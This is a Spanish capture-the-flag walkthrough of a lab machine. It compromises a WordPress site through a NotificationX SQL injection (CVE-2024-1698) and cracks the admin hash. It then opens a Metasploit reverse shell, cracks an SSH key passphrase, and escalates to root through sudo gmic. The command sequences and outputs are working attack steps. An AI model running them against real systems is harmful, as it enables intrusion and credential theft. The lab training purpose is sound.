Estamos ante una máquina Linux de nivel avanzado creada por CuriosidadesDeHackers y condor de la plataforma The Hackers Labs.
Enumeración
Una vez importada la máquina a nuestro VirtualBox hacemos un escaneo de IPs a nuestra red:
$ sudo arp-scan -I eth1 --localnet
10.0.2.144 08:00:27:64:b7:09 (Unknown)
Como vemos la máquina tiene asignada la IP 10.0.2.144
.
Empezamos realizando un escaneo de puertos con nmap
. Hacemos un escaneo silencioso-sS
, a todos los puertos -p-
, que nos de detalles del escaneo -v
, que no haga ping al host -Pn
, que no haga resolución de DNS -n
a nuestra máquina victima 10.0.2.144
:
$ sudo nmap -sS -p- -Pn -n -v 10.0.2.144
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Una vex que tenemos qué puertos están abiertos hacemos otro escaneo con nmap
, pero esta vez para ver con mas detalle que hay en esos puertos:
$ sudo nmap -sCV -p22,80 -v 10.0.2.144
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 14:f7:d8:c3:33:07:81:51:da:fa:bf:4c:03:51:2a:94 (ECDSA)
|_ 256 4d:2a:b5:82:f5:f0:88:3d:75:9d:f3:fe:27:30:a6:f8 (ED25519)
80/tcp open http Apache httpd 2.4.59 ((Debian))
|_http-title: Did not follow redirect to http://debugsec.thl/
|_http-server-header: Apache/2.4.59 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Añadimos al fichero hosts el dominio:
$ echo "10.0.2.144 debugsec.thl" | sudo tee -a /etc/hosts
Vemos que hay en la web:
$ whatweb -a 3 http://debugsec.thl
http://debugsec.thl [200 OK] Apache[2.4.59], Country[RESERVED][ZZ], Email[wordpress@example.com], HTML5, HTTPServer[Debian Linux][Apache/2.4.59 (Debian)], IP[10.0.2.144], MetaGenerator[WordPress 6.3.4], PoweredBy[--], Script, Title[DebugSec – sssssssss], UncommonHeaders[link], WordPress[6.3.4]
Como vemos tenemos un wordpress corriendo en el servidor. Ejecutamos wpscan
para obtener información valiosa. Usamos -e u,vp
para enumerar usuarios y plugins vulnerables:
$ wpscan --url http://debugsec.thl -e u,vp
[+] notificationx
| Location: http://debugsec.thl/wp-content/plugins/notificationx/
| Last Updated: 2024-06-13T07:29:00.000Z
| [!] The version is out of date, the latest version is 2.8.9
|
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By: Urls In 404 Page (Passive Detection)
|
| [!] 1 vulnerability identified:
|
| [!] Title: NotificationX – Best FOMO, Social Proof, WooCommerce Sales Popup & Notification Bar Plugin With Elementor < 2.8.3 - Unauthenticated SQL Injection
| Fixed in: 2.8.3
| References:
| - https://wpscan.com/vulnerability/3a66cb18-dfba-4b6b-bde0-d0efe2853326
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1698
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/e110ea99-e2fa-4558-bcf3-942a35af0b91
|
| Version: 2.8.2 (100% confidence)
Intrusión
Vemos que hay una vulnerabilidad en el plugin NotificationX
y tiene asignado un cve CVE-2024-1698. Buscamos información sobre la vulnerabilidad y encontramos un exploit escrito en python, lo descargamos:
$ wget https://raw.githubusercontent.com/kamranhasan/CVE-2024-1698-Exploit/main/exploit.py
Modificamos la url para que sea nuestro servidor victima y modificamos el delay para que sea 1 segundo.
delay = 1
url = "http://debugsec.thl/wp-json/notificationx/v1/analytics"
Al terminar nos da que el usuario administrador es wordpress y su hash. Lo añadiremos a un fichero llamado hash para después intentar crackearlo con la herramienta hashcat
. Usamos -a 0
para que sea un ataque usando un diccionario y -m 400
porque se trata de un hash en formato Wordpress(MD5) . Le indicamos el hash a romper y el diccionario.
echo '$P$BeoVY5FZYWg4j90BEh5Cme9j3Zamqx/' > hash
hashcat -a 0 -m 400 hash /usr/share/wordlists/rockyou.txt
$P$BeoVY5FZYWg4j90BEh5Cme9j3Zamqx/:mcartney
Obtenemos las credenciales de administrador del sitio. Ahora tenemos que conseguir una shell reversa. Para ello he usado un exploit de metasploit
:
$ msfconsole
msf6 > use exploit/unix/webapp/wp_admin_shell_upload
msf6 exploit(unix/webapp/wp_admin_shell_upload) > options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Settin Required Description
g
---- -------------- -------- -----------
PASSWORD yes The WordPress passwor
d to authenticate wit
h
Proxies no A proxy chain of form
at type:host:port[,ty
pe:host:port][...]
RHOSTS yes The target host(s), s
ee https://docs.metas
ploit.com/docs/using-
metasploit/basics/usi
ng-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for
outgoing connections
TARGETURI / yes The base path to the
wordpress application
USERNAME yes The WordPress usernam
e to authenticate wit
h
VHOST no HTTP server virtual h
ost
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.12 yes The listen address (an i
nterface may be specifie
d)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress
View the full module info with the info, or info -d command.
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set lhost eth1
lhost => 10.0.2.5
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhost http://debugsec.thl
rhost => http://debugsec.thl
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set user
set useragent set username
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username wordpress
username => wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password mcartney
password => mcartney
msf6 exploit(unix/webapp/wp_admin_shell_upload) > check
[*] 10.0.2.144:80 - The target appears to be vulnerable.
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit
[*] Started reverse TCP handler on 10.0.2.5:4444
[*] Authenticating with WordPress using wordpress:mcartney...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/mrSdippeTD/xbUJBJxMvl.php...
[*] Sending stage (39927 bytes) to 10.0.2.144
[+] Deleted xbUJBJxMvl.php
[+] Deleted mrSdippeTD.php
[+] Deleted ../mrSdippeTD
[*] Meterpreter session 1 opened (10.0.2.5:4444 -> 10.0.2.144:41196) at 2024-06-30 00:02:07 +0200
meterpreter >
Obtenemos una sesion de meterpreter. Ahora buscando por el servidor encontramos una clave privada en el directorio/opt
. Nos la descargamos a nuestro equipo y vemos que usuarios hay en el sistema leyendo el fichero /etc/passwd
:
meterpreter > cd /opt
meterpreter > ls
Listing: /opt
=============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100755/rwxr-xr-x 3434 fil 2024-06-28 18:52:01 +02 id_rsa
meterpreter > download id_rsa
[*] Downloading: id_rsa -> /home/murrusko/id_rsa
[*] Downloaded 3.35 KiB of 3.35 KiB (100.0%): id_rsa -> /home/murrusko/id_rsa
[*] Completed : id_rsa -> /home/murrusko/id_rsa
meterpreter > cat /etc/passwd
debugsec:x:1001:1001::/home/debugsec:/bin/bash
Ya tenemos un supuesto usuario con su clave privada. Le cambiamos el permiso a la clave privada h probamos a conectarnos:
$ chmod 400 id_rsa
$ ssh -i id_rsa debugsec@10.0.2.144
Enter passphrase for key 'id_rsa':
Nos pide una clave. Intentamos romperla con john.
$ ssh2john id_rsa > ssh_hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh_hash
pangga (id_rsa)
Una vez obtenida la contraseña nos conectamos al sistema y obtenemos la flag de user.
$ ssh -i id_rsa debugsec@10.0.2.144
Last login: Fri Jun 28 18:57:57 2024 from 192.168.18.19
debugsec@debugsec:~$
Escalada de privilegios
Miramos si puede ejecutar algo como usuario root con sudo -l
:
debugsec@debugsec:~$ sudo -l
Matching Defaults entries for debugsec on debugsec:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User debugsec may run the following commands on debugsec:
(root) NOPASSWD: /usr/bin/gmic
Buscamos la ayuda de gmic y vemos que hay una opción de ejecutar comandos del sistema. Ejecutamos como sudo:
debugsec@debugsec:~$ sudo gmic exec bash
[gmic]-0./ Start G'MIC interpreter.
[gmic]-0./ Execute external command 'bash' in verbose mode.
root@debugsec:/home/debugsec# whoami
root
Y con esto ya tendriamos rooteada la máquina.